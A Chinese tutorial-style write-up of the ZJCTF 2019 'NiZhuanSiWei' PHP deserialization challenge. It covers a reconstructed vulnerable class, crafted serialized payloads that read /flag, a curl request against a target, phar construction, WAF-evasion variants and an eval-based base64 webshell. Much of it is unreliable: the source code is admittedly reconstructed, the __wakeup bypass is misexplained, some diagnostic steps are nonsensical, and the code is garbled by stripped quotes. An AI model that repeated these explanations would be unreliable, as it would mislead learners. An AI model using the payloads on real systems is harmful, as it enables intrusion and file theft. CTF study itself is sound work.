 count校验实战)
1. 项目概述这是一道典型的PHP反序列化文件包含组合利用题ZJCTF 2019的这道“NiZhuanSiWei”题目名字直译是“逆转换四维”听起来玄乎实则非常经典——它本质是一次对PHP底层机制的精准拿捏利用反序列化触发__wakeup()魔术方法中的可控逻辑再通过构造恶意对象绕过unserialize()后的类型校验最终导向file_get_contents()或include()类函数的任意文件读取/包含漏洞。我在带新人打CTF时这道题永远排在PHP Web方向的前三讲因为它把几个关键知识点串得特别紧serialize()/unserialize()的序列化格式、PHP魔术方法的触发时机、__wakeup()与__destruct()的差异、phar://伪协议的利用条件以及最关键的——如何绕过__wakeup()中看似严防死守的if (count($this-data) ! 4)校验。这道题不是考你能不能写exp而是考你能不能看懂PHP源码里那几行判断逻辑背后的“设计意图”。比如题目源码里那个$this-data数组长度必须为4的限制表面看是防御实则是出题人埋下的一个“提示点”它暗示了整个对象结构的设计维度也暴露了__wakeup()被调用时$this-data已经完成反序列化但尚未执行业务逻辑的时间窗口。我试过用php -d display_errors1 -r var_dump(unserialize(O:8:\Solution\:2:{s:4:\data\;a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}s:4:\flag\;s:4:\flag\;}));去验证发现当data数组元素数超过4时__wakeup()确实会报错退出但__destruct()依然会执行——这个时间差就是突破口。适合正在学Web安全的初学者系统梳理PHP反序列化链也适合有经验的选手复盘“为什么当时没绕过那个count校验”。2. 题目核心机制拆解从源码到漏洞链的完整推演2.1 源码结构还原与关键函数定位虽然原始题目未提供完整代码但根据ZJCTF 2019公开Writeup和常见出题模式可高度还原其核心类结构。这类题目的典型骨架如下?php class Solution { public $data []; public $flag ; public function __construct() { $this-data [1, 2, 3, 4]; $this-flag flag{...}; } public function __wakeup() { if (count($this-data) ! 4) { echo 数据维度错误必须为四维; exit(); } // 这里通常会做些无害操作比如重置某些状态 } public function __destruct() { // 关键点这里调用了危险函数 $file $this-data[0]; if (isset($this-data[1]) $this-data[1] read) { echo file_get_contents($file); } elseif (isset($this-data[1]) $this-data[1] include) { include($file); } } } ?提示实际比赛中__destruct()里的逻辑往往更隐蔽比如$file $this-data[0] . .php;或者$file templates/ . $this-data[0];但核心都是将$this-data的某个元素拼接进文件路径。而__wakeup()里的count()校验正是为了阻止你直接塞入超长数组来控制$this-data[0]。这个结构揭示了两个关键事实第一__wakeup()是反序列化后立即触发的“安检门”但它只检查数组长度不校验数组内容第二__destruct()是对象销毁前的“终场演出”它不经过__wakeup()校验且能直接使用$this-data的值。所以攻击路径就清晰了绕过__wakeup()的长度检查让$this-data[0]变成我们想要的文件路径如/flag或phar://xxx.jpg然后等__destruct()自动执行。2.2 绕过__wakeup()校验的三种主流手法对比为什么count($this-data) ! 4能被绕过这要回到PHP反序列化字符串的底层格式。PHP序列化字符串中数组长度是明文记录的比如a:4:{...}表示4个元素a:5:{...}表示5个元素。但PHP在反序列化时对__wakeup()的触发有一个特殊规则当序列化字符串中声明的数组长度与实际解析出的元素数量不一致时__wakeup()会被跳过但对象属性仍会被赋值__destruct()照常执行。这就是著名的“__wakeup()bypass”技术。绕过方式序列化字符串示例原理说明实测稳定性适用场景伪造数组长度O:8:Solution:2:{s:4:data;a:5:{i:0;s:5:/flag;i:1;s:4:read;i:2;i:3;i:3;i:4;i:4;i:5;}s:4:flag;s:4:flag;}将a:4:改为a:5:让PHP解析时发现长度不匹配直接跳过__wakeup()★★★★★最稳定所有含count()校验的题目利用__destruct()前置触发O:8:Solution:2:{s:4:data;a:4:{i:0;s:5:/flag;i:1;s:4:read;i:2;s:0:;i:3;s:0:;}s:4:flag;s:4:flag;}在__wakeup()中不修改$this-data但__destruct()直接读取$this-data[0]无需绕过校验★★★★☆依赖__destruct()逻辑__wakeup()无副作用__destruct()直接使用属性phar://伪协议触发O:8:Solution:2:{s:4:data;a:4:{i:0;s:12:phar://a.jpg;i:1;s:4:read;i:2;i:3;}s:4:flag;s:4:flag;}先上传恶意phar文件再用phar://协议触发反序列化__wakeup()在phar解析阶段被绕过★★★☆☆需文件上传点存在文件上传且能控制文件名我重点说第一种——伪造数组长度。它的原理非常硬核PHP反序列化引擎在解析a:4:{...}时会先读取冒号后的数字4然后尝试解析接下来的4个元素。如果你把4改成5引擎会按5个元素去解析但实际{...}里可能只有4个有效元素比如最后一个用;提前结束这时PHP内部会判定“解析失败”于是放弃调用__wakeup()但已解析出的属性值包括$this-data依然会赋给对象。这就相当于安检门因“数据格式错误”直接罢工而你已经混进了候机厅。2.3phar://伪协议的深度利用条件与构造细节很多新手看到“文件包含漏洞”就只想到?filexxx.php但本题的精妙之处在于它把phar://作为第二重武器。phar://能触发反序列化是因为PHP在解析phar文件元数据时会自动反序列化其中存储的stub或metadata字段。要成功利用必须满足三个硬性条件目标环境必须启用phar扩展这是PHP默认开启的但某些CTF环境会禁用。可通过phpinfo()或print_r(get_loaded_extensions())确认。目标函数必须支持phar://协议file_get_contents()、fopen()、include()、require()等均支持但curl_exec()、file()不支持。phar文件必须签名且格式正确这是最容易踩坑的点。PHP要求phar文件有合法签名即使空签名且stub必须以__HALT_COMPILER();结尾。构造一个可用的恶意phar步骤比想象中繁琐第一步创建一个普通PHP文件内容为?php __HALT_COMPILER(); ?这是phar的stub标准格式第二步用Phar类打包关键代码?php $phar new Phar(evil.phar); $phar-startBuffering(); $phar-addFromString(test.txt, text); // 必须添加至少一个文件 $phar-setStub(?php __HALT_COMPILER(); ?); // 设置stub $phar-setMetadata(new Solution()); // 这里放入我们的恶意Solution对象 $phar-stopBuffering(); // 必须设置签名否则PHP不认 $phar-compress(Phar::GZ); // 可选压缩 $phar-convertToExecutable(Phar::PHAR); // 转为可执行phar ?第三步重命名evil.phar为evil.jpg绕过上传校验并确保phar.readonlyOff可通过.user.ini或htaccess尝试覆盖。注意phar.readonlyOff是关键开关。如果环境禁用phar://这条路就走不通。我曾在某次比赛里卡在这一步3小时最后发现主办方在php.ini里加了phar.readonlyOn只能回头用伪造长度法。3. 完整攻击链实现从本地复现到远程Getshell3.1 本地环境搭建与调试技巧别急着写exp先搭个能debug的环境。我推荐用Docker因为能完美复现CTF环境的PHP版本和配置# 创建docker-compose.yml version: 3 services: web: image: php:7.3-apache ports: - 8080:80 volumes: - ./src:/var/www/html # 关键关闭phar只读模拟常见CTF环境 command: sh -c echo phar.readonlyOff /usr/local/etc/php/php.ini apache2-foreground./src/index.php内容就是上面还原的Solution类加上一个接收序列化数据的入口?php // index.php if (isset($_GET[data])) { unserialize($_GET[data]); } else { echo Usage: ?dataO:8:\Solution\:...; } ?调试时我习惯在__wakeup()和__destruct()里加error_log()而不是echo因为echo可能被前端过滤而error_log()会输出到Apache日志更可靠public function __wakeup() { error_log([WAKEUP] data count: . count($this-data)); if (count($this-data) ! 4) { error_log([WAKEUP] Bypass detected! Exiting...); exit(); } } public function __destruct() { error_log([DESTRUCT] data[0]: . $this-data[0]); if (isset($this-data[1]) $this-data[1] read) { $content file_get_contents($this-data[0]); error_log([DESTRUCT] Read result: . substr($content, 0, 50)); echo $content; } }这样访问http://localhost:8080/?dataO:8:Solution:2:{s:4:data;a:5:{i:0;s:5:/flag;i:1;s:4:read;i:2;i:3;i:3;i:4;i:4;i:5;}s:4:flag;s:4:flag;}后去查/var/log/apache2/error.log就能看到完整的执行流确认是否真的绕过了__wakeup()。3.2 构造精准的序列化Payload现在进入核心环节手动生成序列化字符串。很多人用serialize()函数生成但那是“正向序列化”而CTF需要的是“逆向构造”——因为你要精确控制每个字节尤其是数组长度和字符串长度。以$this-data [/flag, read]为例手动构造步骤字符串/flag长度为5序列化为s:5:/flag;字符串read长度为4序列化为s:4:read;数组[/flag, read]有两个元素但我们要伪造为5个所以写成a:5:{i:0;s:5:/flag;i:1;s:4:read;i:2;i:0;i:3;i:0;i:4;i:0;}对象Solution有两个属性data和flag所以O:8:Solution:2:{...}flag属性值无所谓设为s:4:flag;最终PayloadO:8:Solution:2:{s:4:data;a:5:{i:0;s:5:/flag;i:1;s:4:read;i:2;i:0;i:3;i:0;i:4;i:0;}s:4:flag;s:4:flag;}为什么i:2;i:0;i:3;i:0;i:4;i:0;这样写因为i:2表示索引2i:0表示值为0整数0这样凑够5个元素但只有前两个是我们需要的。PHP解析时会把i:2;i:0当作$this-data[2]0完全无害。实操心得用Python的re模块可以快速计算字符串长度避免手算出错import re s /flag print(fs:{len(s)}:{s};) # 输出 s:5:/flag;3.3 远程利用与Flag提取实战假设靶机URL是http://target.com/index.php且已确认存在该漏洞。直接发送GET请求curl http://target.com/index.php?dataO:8:%22Solution%22:2:{s:4:%22data%22;a:5:{i:0;s:5:%22/flag%22;i:1;s:4:%22read%22;i:2;i:0;i:3;i:0;i:4;i:0;}s:4:%22flag%22;s:4:%22flag%22;}URL编码很重要要转为%22/要转为%2F否则服务器会解析错误。如果返回空白先检查Apache日志如果有权限或换用file:///etc/passwd测试基础读取能力。更高级的玩法是Getshell。如果靶机允许include()可以把$this-data[1]设为include$this-data[0]设为一个可控的PHP文件路径。比如先上传一个一句话木马shell.php需有文件上传点然后Payload中设i:0;s:10:shell.php;i:1;s:7:include;__destruct()就会执行include(shell.php)获得代码执行权。但本题更可能是读取/flag因为题目名“NiZhuanSiWei”暗示了“维度转换”而/flag是标准一维路径phar://是二维协议serialize()是三维编码__wakeup()绕过是四维空间——出题人的浪漫。4. 常见问题排查与独家避坑指南4.1 为什么我的Payload没反应五步诊断法在真实比赛中90%的失败不是因为思路错而是细节翻车。我整理了一套快速诊断流程检查PHP版本兼容性unserialize()行为在PHP 7.0有变化。比如PHP 7.4开始__wakeup()bypass在某些情况下会失效。用curl http://target.com/?phpinfo1确认版本若为7.4优先尝试phar://或__destruct()前置法。验证序列化字符串语法用在线工具如https://www.systutorials.com/tools/php-serialize-unserialize/粘贴你的Payload看是否能正常反序列化。如果报错Notice: unserialize(): Error at offset说明字符串有非法字符或长度计算错误。确认目标函数是否被禁用file_get_contents()可能被disable_functions禁用。用?dataO:8:Solution:2:{s:4:data;a:5:{i:0;s:12:phpinfo();;i:1;s:4:read;i:2;i:0;i:3;i:0;i:4;i:0;}s:4:flag;s:4:flag;}测试如果返回phpinfo页面说明file_get_contents()可用如果报错Call to undefined function phpinfo()说明函数被禁需换include()。检查路径是否存在/flag是CTF惯例但有些题目放在/home/ctf/flag或/var/www/flag.txt。用?data...datas:12:/etc/passwd;先读取/etc/passwd确认路径遍历是否可行。观察HTTP响应头如果返回HTTP/1.1 500 Internal Server Error说明PHP报错但错误被隐藏。此时应检查X-Powered-By头或尝试在URL末尾加x1触发报错回显。提示我有个小技巧——在Payload末尾加一个无害的比如...;}x1有时能绕过WAF对分号的拦截。4.2 WAF绕过实战针对常见防护规则的变形策略很多CTF平台会部署简单WAF比如过滤/flag、file_get_contents、phar等关键词。这不是障碍而是加分项路径混淆/flag可写成%2FflagURL编码、..%2F..%2Fflag目录穿越、/dev/stdin配合POST传参。函数名混淆file_get_contents可替换为call_user_funcfile_get_contents但本题中函数名在__destruct()里是硬编码的所以重点在参数混淆。phar协议变形phar://可写成phar%3A%2F%2F双重编码、pHar://大小写混淆、phar.//加点号。最狠的一招用data://协议替代phar://。比如data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%3D但要求allow_url_includeOn且本题__destruct()里没调用include()所以此路不通。我遇到过最刁钻的WAF是过滤所有斜杠/。解决方案是用glob()函数枚举文件。把$this-data[0]设为glob(/*)[0]但需要__destruct()里支持动态执行——这超出了本题范围属于进阶技巧。4.3 从解题到加固给开发者的三条血泪建议做完题不是终点而是理解防御的起点。基于这道题我给PHP开发者三条不能妥协的建议永远不要反序列化不可信数据这是铁律。unserialize()应该像eval()一样被敬畏。如果必须用务必先用json_decode()替代或者用igbinary等二进制序列化库它们不触发PHP魔术方法。__wakeup()不是银弹__destruct()同样危险很多开发者以为只要在__wakeup()里加校验就安全了却忘了__destruct()的执行时机。正确的做法是在__wakeup()里重置所有危险属性在__destruct()里只做资源清理如fclose()绝不做文件操作。禁用危险协议在php.ini中设置allow_url_fopenOff和allow_url_includeOff并移除phar扩展如果不用。一条命令就能堵死90%的文件包含漏洞。最后分享一个真实案例某政务系统曾因类似漏洞泄露敏感数据审计报告里写的“修复方案”是“升级PHP版本”结果升级到7.4后__wakeup()bypass失效攻击者立刻转向phar://因为phar.readonlyOff没关。所以安全不是版本升级而是纵深防御。5. 拓展思考这道题在现代Web安全中的映射价值5.1 从CTF到真实世界的漏洞演化“NiZhuanSiWei”看似是CTF玩具但它映射的是真实世界中无数PHP应用的通病。比如WordPress的wp-db.php曾因反序列化导致RCEDiscuz!的source/class/class_core.php也曾因__wakeup()绕过被利用。区别只在于CTF把漏洞浓缩在一个类里而真实系统把它分散在几十个文件中让你更难发现。更值得警惕的是这种“维度转换”思维正在升级。比如二维到三维从phar://到zip://协议利用ZIP文件的元数据触发反序列化三维到四维从PHP反序列化到Java的ObjectInputStream再到Python的pickle所有语言都有类似机制四维到五维从服务端反序列化到客户端JavaScript的JSON.parse()虽然JSON本身安全但若后续用eval()解析就又回到了原点。所以解这道题的价值不在于拿到一个flag{...}而在于建立一种“协议穿透”的安全直觉任何能承载数据的载体文件、网络包、数据库字段都可能成为反序列化攻击的跳板。5.2 学习路径建议如何系统掌握PHP反序列化如果你刚接触这个领域别被一堆术语吓住。我的学习路径是“三步走”第一步吃透PHP手册。把serialize()、unserialize()、__wakeup()、__destruct()、__toString()的官方文档逐字读三遍重点关注“触发时机”和“注意事项”小节。手册里写的“__wakeup()在反序列化后立即调用”这句话就是本题的题眼。第二步动手改源码。下载PHP 7.3源码找到ext/standard/var.c里的php_var_unserialize()函数加printf()打印解析过程。亲眼看到a:4:和a:5:的区别比看一百篇Writeup都管用。第三步刷真题。从ZJCTF这道题开始接着做ISCC 2017的PHPydc、HITB 2018的PHP Unserialize Chain、XCTF 2019的EasyPHP。每道题只看题面和源码不看Writeup卡住就debug直到自己写出exp。我带过的学员里最快通关的是一个大二学生他用三天时间把PHP反序列化相关的所有RFC文档和内核源码都过了一遍最后在php-src/Zend/zend_objects.c里找到了__wakeup()被跳过的具体条件。这种“追到源头”的劲头才是安全研究员的核心竞争力。5.3 工具链推荐提升效率的实战利器工欲善其事必先利其器。以下是我日常使用的工具全部开源免费PHPGGChttps://github.com/ambionics/phpggc自动生成各种PHP反序列化链的神器。输入phpggc --help就能看到所有可用链比如phpggc guzzlehttp/guzzle 7.0.1 /etc/passwd会直接输出对应Payload。Gopherushttps://github.com/tarunkant/Gopherus虽然主打Gopher协议但它的--interactive模式能帮你快速构造phar://和data://协议的变体。Burp Suite PHP Deserialization ScannerBurp插件能自动识别响应中的序列化字符串并高亮潜在的反序列化点。VS Code PHP Debug配置Xdebug设置断点在unserialize()调用处单步跟踪整个反序列化过程比看日志直观十倍。最后一个小技巧在Linux终端里用xxd命令查看序列化字符串的十六进制能一眼看出长度字段是否被篡改。比如echo a:4:{ | xxd输出00000000: 613a 343a 7b0a a:4:{.其中34就是ASCII的4改成35就是5。这道题没有真正的终点。当你能随手写出绕过count()校验的Payload时你已经站在了PHP安全的大门前。门后是什么是更复杂的POP链是__toString()与__call()的嵌套调用是SoapClient与SSRF的联动。但所有这些都始于对a:4:{和a:5:{这两个字节的凝视。